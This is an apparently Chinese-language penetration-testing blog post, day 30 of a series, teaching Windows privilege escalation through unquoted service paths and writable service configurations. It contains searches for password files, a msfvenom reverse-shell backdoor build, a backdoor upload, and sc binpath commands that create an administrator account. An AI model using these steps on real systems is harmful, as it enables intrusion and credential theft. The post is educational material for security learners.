iT邦幫忙

2021 iThome 鐵人賽

DAY 30
2
Security

資安這條路─系統化學習滲透測試系列 第 30

Day30 - Windows 提權(1)-Unquoted Service Paths、修改服務提權

  • 分享至 

  • xImage
  •  

假設我們取得受害主機的 shell (cmd.exe 或 powershell)可以根據自己的需求取得需要的資訊。

取得有用的系統資訊

系統資訊常用指令

指令 說明
systeminfo 系統資訊
netstat 網路連接
netsh firewall 防火牆設定
schtasks 排程任務
tasklist 執行 process
net 執行服務
DRIVERQUERY 查詢目前安裝的驅動程式
wmic Windows 管理介面

檢查作業系統版本
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

檢查防火牆的狀態與設定
netsh firewall show state

netsh firewall show config

查看定期執行的任務
schtasks /query /fo LIST /v

檢查正在執行的 process
tasklist /SVC

檢查正在執行的服務
net start

檢查已經安裝的 patch
wmic qfe get Caption,Description,HotFixID,InstalledOn

查詢目前系統內是否有包含密碼的檔案
dir /s *password*

針對內容查詢指定的關鍵字內容
findstr /si password *.txt

Unquoted Service Paths 漏洞

Windows 中允許資料夾包含空格,因此執行程式或切換資料夾的時候,如果遇到有空格的路徑,要利用雙引號括起來。

不然有機會造成 Unquoted Service Paths 的漏洞,這個漏洞成功的條件是:

  1. 正在執行的服務,路徑包含空格,並且沒有使用雙引號
  2. 目前取得受害者的權限,可以寫入有空格的資料夾
  3. 可重新啟動服務或是執行系統指令的權限

舉例來說, Windows 系統中,有以下的程式的路徑:
C:\Program Files\Program\Fei Folder\Service.exe

假設沒有使用雙引號執行該程式,Windows 會嘗試先找與路徑最前面符合的程式:

  1. C:\Program.exe

  2. C:\Program Files\Program\Fei.exe

  3. C:\Program Files\Program\Fei Folder\Service.exe

如果我們可以在這些路徑放上惡意的程式,當我們重新啟動的時候,就會優先執行這些惡意程式。

以下為測試的步驟解析:

STEP1: 透過 wmic 搜尋系統中有 Unquoted Service Paths 的服務:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

假設找到:
C:\Program Files\Program\Fei Folder\Service.exe

我們要先尋找是否有這些資料夾,且是否有這些資料夾的寫入權限。

STEP2:確認是否有資料夾的寫入權限
icacls <資料夾路徑>

權限 說明
F 所有權限(讀取、修改、寫入、執行)
M 修改權限
RX 讀取與執行權限
R 讀取權限
W 寫入權限

繼承權限說明
在 Windows 當中,資料夾可以根據父資料夾的權限,以四種繼承方式繼承。

權限 說明
(OI) 物件繼承 Object inherit
(CI) 容器繼承 Container inherit
(IO) 只有繼承 Inherit only
(NP) 不傳播繼承 Do not propagate inherit

SETP3:構造惡意後門

msfvenom -p windows/meterpreter/reverse_tcp -e LHOST=[LHOST IP] LPORT=443 -f exe -o Fei.exe

STEP4:上傳後門,到指定的資料夾內

meterpreter > upload Fei.exe "c:\\Program Files\\Program"

STEP5:停止並重新啟動服務
sc stop <服務名稱>

sc start <服務名稱>

亦可透過 Metasploit 的模組exploit/windows/local/trusted_service_path 來利用 Unquoted Service Paths 漏洞。

修改服務的路徑

透過修改服務的路徑,將路徑指定到有寫入權限的資料夾中的惡意程式。

STEP1: 查詢可透過身分驗證使用者類型可修改的服務
accesschk.exe -uwcqv "Authenticated Users" * /accepteula

會顯示

RW Fei service
       SERVICE_ALL_ACCESS 

STEP2: 顯示該服務的屬性
sc qc <服務名稱>

STEP3: 修改服務的路徑(BINARY_PATH_NAME)
sc config <服務名稱> binpath= "惡意程式路徑"

甚至可以直接執行惡意指令,如新增使用者並且給予管理員的權限

sc config <服務名稱> binpath= "net user admin password /add"

將新使用者加入管理員群組

sc config <服務名稱> binpath= "net localgroup Administrators admin /add"

STEP4: 停止並重新啟動服務

sc stop <服務名稱>

sc start <服務名稱>

亦可透過 Metasploit 的模組exploit/windows/local/service_permissions 來利用修改服務的路徑漏洞。


上一篇
Day29 - Exploitation- Linux kernels 漏洞
下一篇
Day31 - Windows 提權(2)-AlwaysInstallElevated、Unattended Installs、Bypassing UAC
系列文
資安這條路─系統化學習滲透測試37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

1 則留言

0
davidhcefx
iT邦新手 5 級 ‧ 2022-02-22 03:09:37

假設沒有使用雙引號執行該程式,Windows 會嘗試先找與路徑最前面符合的程式

這個特性應該只有在當 Windows 執行服務時才會出現吧?會出現這種攻擊感覺比較像是 Windows 的 bug feature 哈哈

我要留言

立即登入留言